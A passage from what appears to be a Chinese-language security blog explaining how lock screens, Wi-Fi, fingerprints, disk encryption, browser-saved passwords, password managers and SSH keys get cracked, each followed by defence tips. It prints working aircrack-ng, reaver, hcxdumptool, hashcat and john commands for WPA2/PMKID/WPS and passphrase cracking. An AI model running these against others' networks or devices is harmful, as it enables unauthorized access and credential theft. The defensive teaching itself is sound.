reboot</span><br></pre></td></tr></table></figure><p><strong>方法三：商业工具（如 Dr.Fone &#x2F; DroidKit &#x2F; PassFab）</strong></p><p>原理是利用 Android 恢复模式（Download Mode）刷入解锁固件。支持的型号和 Android 版本有限，且可能丢失数据。费用 $30-$70。</p><p><strong>方法四：利用 Find My Mobile（仅三星）</strong></p><p>三星的 Find My Mobile 可以在不解锁屏幕的情况下远程解锁。前提是手机登录了三星账号且已开启该功能。</p><p><strong>方法五：TWRP Recovery 删除密码</strong></p><p>如果设备已安装 TWRP（第三方 Recovery）且 Bootloader 已解锁：</p><ol><li>进入 TWRP → 文件管理器</li><li>导航到 <code>/data/system/</code></li><li>删除 <code>locksettings.db</code> 及相关 <code>.key</code> 文件</li><li>重启 → 锁屏消失</li></ol><p><strong>方法六：FRP（Factory Reset Protection）绕过</strong></p><p>这是针对 Android 5.1+ 的「防盗保护」。恢复出厂设置后会要求输入之前的 Google 账号。理论上这是好设计，但每个 Android 版本都有 FRP 绕过漏洞被不断发现和修补。</p><h3 id="4-3-iOS-锁屏破解"><a href="#4-3-iOS-锁屏破解" class="headerlink" title="4.3 iOS 锁屏破解"></a>4.3 iOS 锁屏破解</h3><p><strong>核心认知：现代 iPhone 无法「破解」——只能「重置」。</strong></p><p>iOS 的 Secure Enclave 是一个独立的硬件安全芯片。锁屏密码和加密密钥绑定在一起。错误 10 次（如果开启了「抹掉数据」），所有数据自动销毁。</p><p><strong>可行的路径：</strong></p><table><thead><tr><th>方法</th><th>数据保留</th><th>前提条件</th></tr></thead><tbody><tr><td>恢复模式 + Finder&#x2F;iTunes</td><td>❌ 全清</td><td>电脑 + 数据线</td></tr><tr><td>iCloud 查找 → 抹掉</td><td>❌ 全清</td><td>知道 Apple ID 密码</td></tr><tr><td>Apple Devices 应用（Windows）</td><td>❌ 全清</td><td>电脑 + 数据线</td></tr><tr><td>iOS 17 忘记密码 → 旧密码重设</td><td>✅ 保留</td><td>72 小时内刚改过密码</td></tr><tr><td>iOS 15.2+ 锁屏直接抹掉</td><td>❌ 全清</td><td>连接网络、知道 Apple ID</td></tr><tr><td>第三方工具（Passixer &#x2F; MagFone）</td><td>❌ 全清</td><td>$30-$50</td></tr><tr><td>Apple Watch 解锁</td><td>✅ 保留</td><td>提前设置、戴着手表</td></tr></tbody></table><blockquote><p><strong>Apple Watch 解锁是最骚的一条路</strong>：戴口罩时，Apple Watch 可以解锁 iPhone。如果提前设置好了，戴上手表、戴上口罩、唤醒 iPhone —— 锁屏就打开了。然后你可以在「设置」中重设密码。</p></blockquote><h3 id="4-4-防御指南"><a href="#4-4-防御指南" class="headerlink" title="4.4 防御指南"></a>4.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>使用 <strong>6 位或更长</strong>的 PIN（不要用 4 位数字）</li><li>Android：<strong>不要解锁 Bootloader</strong>，不要开启「允许 OEM 解锁」</li><li>Android：<strong>关闭 USB 调试</strong>（除非开发时需要）</li><li>iPhone：开启「<strong>抹掉数据</strong>」（10 次错误自动清除）</li><li>iPhone：记住你的 <strong>Apple ID 密码</strong>——它是最后的救命稻草</li><li>不要让手机离开视线——物理接触是绕过锁屏的前提</li></ul></blockquote><hr><h2 id="五、Wi-Fi-密码：你家路由器到底安全吗？"><a href="#五、Wi-Fi-密码：你家路由器到底安全吗？" class="headerlink" title="五、Wi-Fi 密码：你家路由器到底安全吗？"></a>五、Wi-Fi 密码：你家路由器到底安全吗？</h2><h3 id="5-1-WEP-WPA-WPA2-WPA3-一图看懂"><a href="#5-1-WEP-WPA-WPA2-WPA3-一图看懂" class="headerlink" title="5.1 WEP &#x2F; WPA &#x2F; WPA2 &#x2F; WPA3 一图看懂"></a>5.1 WEP &#x2F; WPA &#x2F; WPA2 &#x2F; WPA3 一图看懂</h3><table><thead><tr><th>协议</th><th>发布年份</th><th>加密</th><th>破解难度</th></tr></thead><tbody><tr><td><strong>WEP</strong></td><td>1997</td><td>RC4（静态 IV，24 位）</td><td><strong>秒破</strong>——抓几万个包就能算出密码</td></tr><tr><td><strong>WPA（TKIP）</strong></td><td>2003</td><td>RC4 + TKIP</td><td>比 WEP 好但已知攻击存在</td></tr><tr><td><strong>WPA2（AES-CCMP）</strong></td><td>2004</td><td>AES-CCMP</td><td>弱密码<strong>可字典破解</strong></td></tr><tr><td><strong>WPA3</strong></td><td>2018</td><td>AES-GCMP + SAE</td><td>离线字典攻击<strong>不再可行</strong></td></tr></tbody></table><h3 id="5-2-WPA2-的四次握手与破解原理"><a href="#5-2-WPA2-的四次握手与破解原理" class="headerlink" title="5.2 WPA2 的四次握手与破解原理"></a>5.2 WPA2 的四次握手与破解原理</h3><p>WPA2 的致命弱点不在于 AES——而在于<strong>你可以抓取握手包做离线密码测试，而且没有速率限制</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">四次握手核心过程：</span><br><span class="line">1. AP → Client：发送 ANonce（随机数）</span><br><span class="line">2. Client → AP：用自己的 SNonce + 密码（PSK）推导出 PTK，发回 SNonce + MIC</span><br><span class="line">3. AP → Client：验证 MIC，发送 GTK</span><br><span class="line">4. Client → AP：确认</span><br><span class="line"></span><br><span class="line">攻击者一旦抓到了第 1、2 步的数据：</span><br><span class="line">  → 就能离线用字典逐一试密码</span><br><span class="line">  → GPU 每秒能试几十万到上百万次</span><br><span class="line">  → 弱密码（如纯数字 8 位）几分钟就破</span><br></pre></td></tr></table></figure><h3 id="5-3-实战：WPA2-破解完整流程"><a href="#5-3-实战：WPA2-破解完整流程" class="headerlink" title="5.3 实战：WPA2 破解完整流程"></a>5.3 实战：WPA2 破解完整流程</h3><p><strong>准备工作：</strong> 需要一张支持监听模式（Monitor Mode）的无线网卡（如 Atheros AR9271、Realtek RTL8812AU 芯片的外置 USB 网卡）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 0: 进入监听模式</span></span><br><span class="line"><span class="built_in">sudo</span> airmon-ng check <span class="built_in">kill</span></span><br><span class="line"><span class="built_in">sudo</span> airmon-ng start wlan0        <span class="comment"># 创建 wlan0mon</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 1: 扫描周围网络</span></span><br><span class="line"><span class="built_in">sudo</span> airodump-ng wlan0mon</span><br><span class="line"><span class="comment"># 记下目标：BSSID（MAC地址）和信道（Channel）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: 锁定目标，准备抓握手包</span></span><br><span class="line"><span class="built_in">sudo</span> airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: 强迫已连接设备掉线重连（抓握手包）</span></span><br><span class="line"><span class="comment"># 在另一个终端窗口：</span></span><br><span class="line"><span class="built_in">sudo</span> aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon</span><br><span class="line"><span class="comment"># 当 airodump-ng 右上角显示 &quot;WPA handshake: AA:BB:CC:DD:EE:FF&quot; 时，抓包成功</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 4: GPU 破解</span></span><br><span class="line">hcxpcapngtool -o hash.hc22000 capture-01.cap   <span class="comment"># 转换格式</span></span><br><span class="line">hashcat -m 22000 hash.hc22000 rockyou.txt       <span class="comment"># 字典攻击</span></span><br></pre></td></tr></table></figure><h3 id="5-4-PMKID-攻击——更快更静默"><a href="#5-4-PMKID-攻击——更快更静默" class="headerlink" title="5.4 PMKID 攻击——更快更静默"></a>5.4 PMKID 攻击——更快更静默</h3><p><strong>不需要客户端在线！</strong> 只要 AP 支持 PMKID（绝大多数都支持），直接向 AP 发送关联请求就能获取 PMKID，然后离线破解。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng \</span><br><span class="line">     --filtermode=2 --filterlist_ap=AA:BB:CC:DD:EE:FF</span><br><span class="line"><span class="comment"># 5-10 分钟即可抓到 PMKID</span></span><br><span class="line"></span><br><span class="line">hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng</span><br><span class="line">hashcat -m 22000 pmkid.hc22000 rockyou.txt</span><br></pre></td></tr></table></figure><h3 id="5-5-WPS-PIN-攻击（老路由的致命漏洞）"><a href="#5-5-WPS-PIN-攻击（老路由的致命漏洞）" class="headerlink" title="5.5 WPS PIN 攻击（老路由的致命漏洞）"></a>5.5 WPS PIN 攻击（老路由的致命漏洞）</h3><p>WPS 的设计是用一个 8 位 PIN 码快速连接。但这个 PIN 码的验证方式有严重缺陷：<strong>最后一位是校验位（只剩 7 位有效），且 PIN 被分成两半验证</strong>——前 4 位和后 3 位各自独立验证。这意味着攻击者只需要试 10⁴ + 10³ &#x3D; <strong>11,000 次</strong>就能穷举 PIN。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Reaver 工具自动化攻击</span></span><br><span class="line">reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv</span><br><span class="line"><span class="comment"># 几小时内拿到 WPS PIN → 直接获取 Wi-Fi 密码</span></span><br></pre></td></tr></table></figure><blockquote><p><strong>防御：关闭路由器的 WPS 功能！</strong></p></blockquote><h3 id="5-6-WPA3-也不完美"><a href="#5-6-WPA3-也不完美" class="headerlink" title="5.6 WPA3 也不完美"></a>5.6 WPA3 也不完美</h3><p>WPA3 修复了离线字典攻击（SAE 每次尝试都需要与 AP 在线交互），但引入了新攻击面：</p><ul><li><strong>过渡模式降级攻击：</strong> 很多路由器同时开 WPA2 + WPA3（过渡模式），攻击者可以伪装成「只支持 WPA2 的设备」迫使客户端降级到 WPA2</li><li><strong>Dragonblood 漏洞（已修补）：</strong> SAE 协议的侧信道信息泄露</li></ul><h3 id="5-7-防御指南"><a href="#5-7-防御指南" class="headerlink" title="5.7 防御指南"></a>5.7 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>立即关闭路由器的 WPS</strong></li><li>使用 <strong>WPA2-AES 或 WPA3</strong></li><li>Wi-Fi 密码至少 <strong>12 位，含大小写字母+数字+符号</strong></li><li>不要用「中文+数字」当密码（大部分字典覆盖不到，但如果攻击者定向生成就不安全）</li><li>开启路由器的 MAC 地址过滤（额外一层门槛，但不要当为主要防御）</li><li>定期查看路由器已连接设备列表</li></ul></blockquote><hr><h2 id="六、指纹识别：手机-门锁-笔记本"><a href="#六、指纹识别：手机-门锁-笔记本" class="headerlink" title="六、指纹识别：手机 &#x2F; 门锁 &#x2F; 笔记本"></a>六、指纹识别：手机 &#x2F; 门锁 &#x2F; 笔记本</h2><h3 id="6-1-三种指纹传感器"><a href="#6-1-三种指纹传感器" class="headerlink" title="6.1 三种指纹传感器"></a>6.1 三种指纹传感器</h3><table><thead><tr><th>类型</th><th>原理</th><th>破解难度</th><th>常见设备</th></tr></thead><tbody><tr><td><strong>电容式</strong></td><td>测量指纹脊与谷的电容差异生成图像</td><td><strong>中</strong>（硅胶指纹膜 + 导电材料可骗过）</td><td>手机 Home 键、后置指纹、智能门锁</td></tr><tr><td><strong>光学式</strong></td><td>发光照亮指纹，反射光成像</td><td><strong>低</strong>（高清照片经过处理即可）</td><td>屏下光学指纹、老式门禁</td></tr><tr><td><strong>超声波</strong></td><td>发出超声波，不同深度反射波形不同</td><td><strong>较高</strong>（需要 3D 模具）</td><td>三星旗舰屏下指纹</td></tr></tbody></table><h3 id="6-2-指纹破解的三种路径"><a href="#6-2-指纹破解的三种路径" class="headerlink" title="6.2 指纹破解的三种路径"></a>6.2 指纹破解的三种路径</h3><p><strong>路径一：电容硅胶指纹膜</strong></p><p>国家市场监管总局的官方实验室在 2023 年做过测试，<strong>77% 的受测智能手机</strong>被电容硅胶指纹膜成功解锁。测试结论：</p><blockquote><p>“常见带有指纹识别功能的消费品大多数均可被电容硅胶指纹膜解锁……智能门锁与门禁的指纹头大多采用电容式指纹传感器，被电容硅胶指纹膜解锁成功率较高。”</p></blockquote><p>制作流程（来自公开安全研究报告）：</p><ol><li>从玻璃杯、手机屏幕等表面提取残留指纹</li><li>用 Photoshop 处理提高清晰度</li><li>3D 打印模具 → 注入导电硅胶&#x2F;织物胶水</li><li>将指纹膜贴在手指上按压传感器</li></ol><p><strong>路径二：导电胶带「指纹学习」攻击</strong></p><p>2018 年央视报道的漏洞：将导电笔画了图案的透明胶带贴在指纹传感器上，机主正常解锁 3 次——手机会把胶带上的导电图案「学」进指纹模板。此后，<strong>任何人的手指</strong>（甚至橘子皮）都能解锁。原理是手机指纹匹配的相似度阈值过低（可能只需 20% 匹配）。</p><p><strong>路径三：高清照片 + 打印</strong></p><p>对于光学指纹传感器（很多屏下指纹手机），用足够高分辨率的指纹照片打印在透明胶片上，即可骗过传感器。</p><p><strong>但说实话：</strong> 对普通人而言，被指纹膜攻击的概率极低——制作门槛高、需要定向采集指纹。<strong>更大的风险是：你手机被偷后，对方可以用你的锁屏密码（而不是指纹）重置指纹。</strong></p><h3 id="6-3-防御指南"><a href="#6-3-防御指南" class="headerlink" title="6.3 防御指南"></a>6.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>重新录入指纹</strong>（如果担心胶带攻击）</li><li>查看指纹传感器上有没有被贴不明胶带&#x2F;膜</li><li>手机重启后<strong>第一次解锁必须用密码</strong>（iOS 和大部分 Android 都是这样）——这是一个重要安全设计</li><li>智能门锁：选择带 <strong>3D 结构光人脸识别</strong> + 指纹的双重验证</li><li>不要把指纹留在明显能拍摄到的玻璃表面</li></ul></blockquote><hr><h2 id="七、硬盘加密：BitLocker-FileVault-VeraCrypt"><a href="#七、硬盘加密：BitLocker-FileVault-VeraCrypt" class="headerlink" title="七、硬盘加密：BitLocker &#x2F; FileVault &#x2F; VeraCrypt"></a>七、硬盘加密：BitLocker &#x2F; FileVault &#x2F; VeraCrypt</h2><h3 id="7-1-全盘加密的原理"><a href="#7-1-全盘加密的原理" class="headerlink" title="7.1 全盘加密的原理"></a>7.1 全盘加密的原理</h3><p>全盘加密（FDE）在系统启动前加密整个硬盘，解密密钥由用户密码保护。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">你的密码 → [KDF 密钥派生] → 解密 → 卷主密钥（VMK）→ 解密 → 全盘加密密钥（FVEK）</span><br><span class="line">                                                                     ↓</span><br><span class="line">                                                            实时加解密硬盘数据</span><br></pre></td></tr></table></figure><p><strong>关键问题：</strong> FVEK 在系统运行期间存储在 RAM 中。一旦 FVEK 离开 TPM 进入了内存，保护就降级了。</p><h3 id="7-2-冷启动攻击（Cold-Boot-Attack）——-全盘加密的阿克琉斯之踵"><a href="#7-2-冷启动攻击（Cold-Boot-Attack）——-全盘加密的阿克琉斯之踵" class="headerlink" title="7.2 冷启动攻击（Cold Boot Attack）—— 全盘加密的阿克琉斯之踵"></a>7.2 冷启动攻击（Cold Boot Attack）—— 全盘加密的阿克琉斯之踵</h3><p>DRAM 内存芯片在断电后会<strong>逐渐</strong>丢失数据（数据残留效应）。如果把内存冷却到 <strong>-50°C</strong>（用一罐压缩空气倒过来喷就行），数据可以保留<strong>数分钟甚至数十分钟</strong>。</p><p>攻击流程：</p><ol><li>拿到一台<strong>正在运行或处于睡眠状态</strong>的电脑</li><li>强制重启（拔电池或按电源键硬断电）</li><li>立即从 U 盘启动一个轻量级操作系统</li><li>转储 RAM 内容到文件</li><li>在内存转储中搜索 AES 密钥特征模式</li><li>用找到的 FVEK 解密整个硬盘</li></ol><blockquote><p>这个攻击对 <strong>BitLocker（TPM 模式）、FileVault、dm-crypt、VeraCrypt</strong> 全部有效，因为它不是攻击加密算法，而是攻击<strong>内存中还没被擦除的密钥</strong>。</p></blockquote><h3 id="7-3-BitLocker-的-TPM-only-陷阱"><a href="#7-3-BitLocker-的-TPM-only-陷阱" class="headerlink" title="7.3 BitLocker 的 TPM-only 陷阱"></a>7.3 BitLocker 的 TPM-only 陷阱</h3><p>TPM-only 是 BitLocker 的默认配置。TPM 验证系统启动链未被篡改后，<strong>自动</strong>将 VMK 释放给操作系统——用户什么都不需要做，开机就直接进桌面。</p><p><strong>这意味着：</strong> 一旦电脑被偷时处于关机状态，攻击者开机后 TPM 会正常释放密钥，然后冷启动攻击拿走 FVEK → 全盘解密。</p><p><strong>微软自己的研究团队也在 2025 年发现了一种名为「BitUnlocker」的 BitLocker 全盘加密绕过技术</strong>，通过操纵早期启动条件和恢复环境来诱骗 TPM 释放密钥。</p><h3 id="7-4-防御指南"><a href="#7-4-防御指南" class="headerlink" title="7.4 防御指南"></a>7.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>BitLocker 使用 <strong>TPM + PIN</strong> 模式：开机需要输入 PIN，没有 PIN 就没有密钥</li><li>离开电脑时<strong>关机</strong>（不是睡眠、不是休眠）</li><li>启用 <strong>Kernel DMA Protection</strong>（防止通过 Thunderbolt&#x2F;FireWire 直接读内存）</li><li>macOS 用户：<strong>FileVault 默认就安全</strong>——苹果强制要求用户密码才能解锁</li><li>如果必须用睡眠：将睡眠模式改为 <strong>S4（休眠）</strong>，数据写入加密磁盘后断开内存供电</li></ul></blockquote><hr><h2 id="八、浏览器保存的密码：你的保险柜钥匙就在门垫下面"><a href="#八、浏览器保存的密码：你的保险柜钥匙就在门垫下面" class="headerlink" title="八、浏览器保存的密码：你的保险柜钥匙就在门垫下面"></a>八、浏览器保存的密码：你的保险柜钥匙就在门垫下面</h2><h3 id="8-1-Chrome-Edge（Chromium-内核）"><a href="#8-1-Chrome-Edge（Chromium-内核）" class="headerlink" title="8.1 Chrome &#x2F; Edge（Chromium 内核）"></a>8.1 Chrome &#x2F; Edge（Chromium 内核）</h3><p>Chrome 将保存的密码加密存储在 SQLite 数据库中：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%LocalAppData%\Google\Chrome\User Data\Default\Login Data</span><br></pre></td></tr></table></figure><p>加密用的是 <strong>AES-256-GCM</strong>——看起来很强。但：</p><p><strong>加密密钥就放在同一个目录下的 <code>Local State</code> 文件中。</strong></p><p>用记事本打开这个文件，搜索 <code>encrypted_key</code>，这就是你的密钥。</p><p>Chrome 依赖 Windows 的 <strong>DPAPI（Data Protection API）</strong> 来保护这个密钥。DPAPI 的加密绑定到当前登录的 Windows 用户——意味着任何以你身份运行的程序都可以调用 <code>CryptUnprotectData()</code> 函数解密这个密钥，然后打开你的密码数据库。</p><p><strong>一句话总结：Chrome 把保险箱和钥匙放在同一个房间，然后用一个「谁来叫我开门就开门」的门锁。</strong></p><p>Chrome 官方在 2013 年对此的回应是：「如果有人已经获取了你系统账户的访问权限，再多安全措施也无用。」——这更像甩锅。</p><p><strong>v127 之后的新变化：</strong> Chrome 引入了「应用绑定加密」（App-Bound Encryption），<code>Local State</code> 中的密钥以 v20 前缀开头，解密需要注入 Chrome 进程上下文调用 IElevator COM 接口。门槛提高了，但对有管理员权限的攻击者来说仍然不是问题。</p><h3 id="8-2-Firefox"><a href="#8-2-Firefox" class="headerlink" title="8.2 Firefox"></a>8.2 Firefox</h3><p>Firefox 使用 Network Security Services（NSS）库 <code>nss3.dll</code> 进行加密。存储位置在用户配置文件夹（随机名称）下的 <code>logins.json</code> 和 <code>key4.db</code>。</p><p><strong>差异：</strong> Firefox 提供了<strong>主密码</strong>功能——如果启用，所有密码必须先用主密码解锁，否则即使在同一用户下也无法读取。<strong>但默认情况下这个功能是关闭的。</strong></p><h3 id="8-3-浏览器的信息窃取木马产业"><a href="#8-3-浏览器的信息窃取木马产业" class="headerlink" title="8.3 浏览器的信息窃取木马产业"></a>8.3 浏览器的信息窃取木马产业</h3><p>现实中，浏览器密码泄露的主要威胁不是有人坐在你电脑前手动操作，而是<strong>恶意软件</strong>。</p><p>信息窃取木马（Infostealer，如 Azorult、RedLine、Vidar）的工作流程：</p><ol><li>通过钓鱼邮件 &#x2F; 恶意下载安装到受害者电脑</li><li>找到 Chrome&#x2F;Firefox&#x2F;Edge 的数据目录</li><li>调用 <code>CryptUnprotectData()</code> 自动解密所有保存的密码</li><li>连同浏览历史、Cookie、信用卡信息一起打包上传到攻击者服务器</li><li>通常在<strong>几秒内</strong>完成，用户毫无感知</li></ol><blockquote><p>Azorult 曾占所有 Trojan-PSW 类恶意软件攻击的 25% 以上。</p></blockquote><h3 id="8-4-防御指南"><a href="#8-4-防御指南" class="headerlink" title="8.4 防御指南"></a>8.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li><strong>不要在浏览器中保存重要密码</strong>——改用密码管理器（见第九章）</li><li>Firefox 用户：<strong>开启主密码</strong></li><li>不要让不信任的人接触你的电脑</li><li>不要下载来路不明的 exe&#x2F;msi</li><li>如果已经保存了密码：<strong>立即清空 Chrome 的「已保存密码」列表</strong>，全量迁移到 Bitwarden&#x2F;KeePass</li></ul></blockquote><hr><h2 id="九、密码管理器主密码：零知识架构的最后防线"><a href="#九、密码管理器主密码：零知识架构的最后防线" class="headerlink" title="九、密码管理器主密码：零知识架构的最后防线"></a>九、密码管理器主密码：零知识架构的最后防线</h2><h3 id="9-1-密码管理器的安全模型"><a href="#9-1-密码管理器的安全模型" class="headerlink" title="9.1 密码管理器的安全模型"></a>9.1 密码管理器的安全模型</h3><p>以 <strong>Bitwarden</strong> 为例，密码管理器使用「零知识」架构：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">你的主密码</span><br><span class="line">    ↓ PBKDF2 / Argon2id (60万+ 轮迭代)</span><br><span class="line">主密钥（Master Key）</span><br><span class="line">    ↓ AES-256（在客户端）</span><br><span class="line">加密密码库（Vault）</span><br><span class="line">    ↓ TLS（传输到云服务器）</span><br><span class="line">云端存储加密后的 Vault</span><br></pre></td></tr></table></figure><p>关键设计：</p><ul><li>服务器<strong>永远看不到</strong>你的主密码</li><li>解密<strong>只在你的客户端</strong>发生</li><li>即使 Bitwarden 服务器被入侵，攻击者只能拿到加密后的 blob</li><li>如果忘了主密码：<strong>永远找不回来</strong>（这正是安全性的保证）</li></ul><h3 id="9-2-破解密码管理器主密码"><a href="#9-2-破解密码管理器主密码" class="headerlink" title="9.2 破解密码管理器主密码"></a>9.2 破解密码管理器主密码</h3><p>密码管理器的主密码一旦被破解，<strong>你的所有密码全部暴露</strong>——这是单点故障。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Bitwarden 导出（导出为未加密的 JSON 时，实为导出加密后的 .json 文件）</span></span><br><span class="line"><span class="comment"># 然后可以用 hashcat 模式 28600 破解</span></span><br><span class="line">hashcat -m 28600 bitwarden_hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>Bitwarden 使用 PBKDF2-SHA256（默认 60 万轮迭代，可调至 200 万轮）</strong>，比纯 NTLM（无 KDF）慢了很多，但 GPU 仍然能以每秒数千次的速度测试。</p><h3 id="9-3-防御指南"><a href="#9-3-防御指南" class="headerlink" title="9.3 防御指南"></a>9.3 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>主密码<strong>至少 16 位</strong>，不包含任何个人信息</li><li>用**口令短语（passphrase）**代替复杂密码：<code>correct-horse-battery-staple</code> 比 <code>Tr0ub4dor&amp;3</code> 更好记也更安全</li><li>Bitwarden 用户：在设置中将 KDF 改为 <strong>Argon2id</strong>，迭代数拉到设备承受范围内的最高值</li><li><strong>开启双因素认证（2FA）</strong>——即使主密码泄露，没有 2FA 也无法从新设备登录</li><li>主密码<strong>绝不在任何其他地方使用</strong></li></ul></blockquote><hr><h2 id="十、SSH-私钥密码：你服务器的最后一关"><a href="#十、SSH-私钥密码：你服务器的最后一关" class="headerlink" title="十、SSH 私钥密码：你服务器的最后一关"></a>十、SSH 私钥密码：你服务器的最后一关</h2><h3 id="10-1-SSH-私钥的加密机制"><a href="#10-1-SSH-私钥的加密机制" class="headerlink" title="10.1 SSH 私钥的加密机制"></a>10.1 SSH 私钥的加密机制</h3><p>SSH 私钥可以设置一个密码短语（passphrase）来保护。即使私钥文件被偷，不知道密码短语也无法使用。</p><p>私钥文件的头部会标明加密方式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-----BEGIN OPENSSH PRIVATE KEY-----</span><br><span class="line">...（加密后的密钥数据）</span><br></pre></td></tr></table></figure><p>支持的加密算法：<code>aes256-ctr</code>、<code>aes256-cbc</code>、<code>aes128-gcm@openssh.com</code> 等。</p><h3 id="10-2-破解-SSH-私钥密码"><a href="#10-2-破解-SSH-私钥密码" class="headerlink" title="10.2 破解 SSH 私钥密码"></a>10.2 破解 SSH 私钥密码</h3><p><strong>前提：</strong> 攻击者已经获取了你的私钥文件（通过 Git 泄露、服务器入侵、恶意软件等途径）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Step 1: 将私钥转化为可破解的哈希</span></span><br><span class="line">ssh2john id_rsa &gt; ssh_hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: John the Ripper 破解</span></span><br><span class="line">john --wordlist=rockyou.txt ssh_hash.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或 Hashcat（模式 22911）</span></span><br><span class="line">hashcat -m 22911 ssh_hash.txt rockyou.txt</span><br></pre></td></tr></table></figure><p><strong>John the Ripper 对 SSH 的支持非常好</strong>——无论是 RSA、DSA、ECDSA 还是 Ed25519 密钥，格式统一用 <code>--format=ssh</code>。</p><h3 id="10-3-私钥泄露的常见途径"><a href="#10-3-私钥泄露的常见途径" class="headerlink" title="10.3 私钥泄露的常见途径"></a>10.3 私钥泄露的常见途径</h3><ul><li><strong>Git 仓库误提交：</strong> 全球每天都有私钥被 push 到 GitHub 公有仓库</li><li><strong>服务器 <code>/tmp</code> 目录残留</strong></li><li><strong>备份文件未加密</strong></li><li><strong>~&#x2F;.ssh&#x2F; 目录被恶意软件扫描上传</strong></li></ul><h3 id="10-4-防御指南"><a href="#10-4-防御指南" class="headerlink" title="10.4 防御指南"></a>10.4 防御指南</h3><blockquote><p><strong>现在就该做的：</strong></p><ul><li>SSH 私钥<strong>必须设置密码短语</strong>（passphrase）</li><li>使用 <strong>ssh-agent</strong>，只在会话开始时输入一次密码</li><li>生成 Ed25519 密钥（<code>ssh-keygen -t ed25519</code>），比 RSA 更快更安全</li><li><code>.gitignore</code> 中<strong>务必包含所有私钥格式</strong>（<code>id_*</code>、<code>*.pem</code>、<code>*.key</code>）</li><li>定期轮换密钥（如同定期换密码）</li><li>GitHub 用户：开启 <strong>Push Protection</strong>——push 时检测到私钥会自动拦截</li></ul></blockquote><hr><h2 id="十一、在线账号密码：攻击者的金矿"><a href="#十一、在线账号密码：攻击者的金矿" class="headerlink" title="十一、在线账号密码：攻击者的金矿"></a>十一、在线账号密码：攻击者的金矿</h2><p>这一节不讲技术原理——因为在线服务的安全性完全取决于<strong>服务提供方</strong>和<strong>你的使用习惯</strong>，不是你能控制的加密算法。</p><h3 id="11-1-凭据填充（Credential-Stuffing）"><a href="#11-1-凭据填充（Credential-Stuffing）" class="headerlink" title="11.1 凭据填充（Credential Stuffing）"></a>11.1 凭据填充（Credential Stuffing）</h3><p><strong>最常见、最有效的攻击方式。</strong></p><p>原理：你在 A 网站注册的账号密码，A 网站被拖库了（泄露）。攻击者拿到这组邮箱+密码，<strong>在你注册过的 B、C、D、E、F 网站全部试一遍</strong>。只要你在任何一个其他地方用了相同密码，账号就没了。</p><blockquote><p>2023 年有 240 亿组凭据在地下论坛流通。</p></blockquote><h3 id="11-2-钓鱼攻击——绕过一切加密"><a href="#11-2-钓鱼攻击——绕过一切加密" class="headerlink" title="11.2 钓鱼攻击——绕过一切加密"></a>11.2 钓鱼攻击——绕过一切加密</h3><p>不管你的密码多强，用了什么 2FA——如果你自己在假网站上输入了，加密就白做了。</p><p>现代钓鱼攻击越来越精致：</p><ul><li><strong>中间人反向代理（Evilginx 类）：</strong> 攻击者的服务器在真实网站和你的浏览器之间做代理，你的登录请求被原封不动转发给真实网站，<strong>连 2FA 的 session cookie 一起偷走</strong></li><li><strong>同形异义攻击：</strong> arnazon.com（注意那个 n）vs 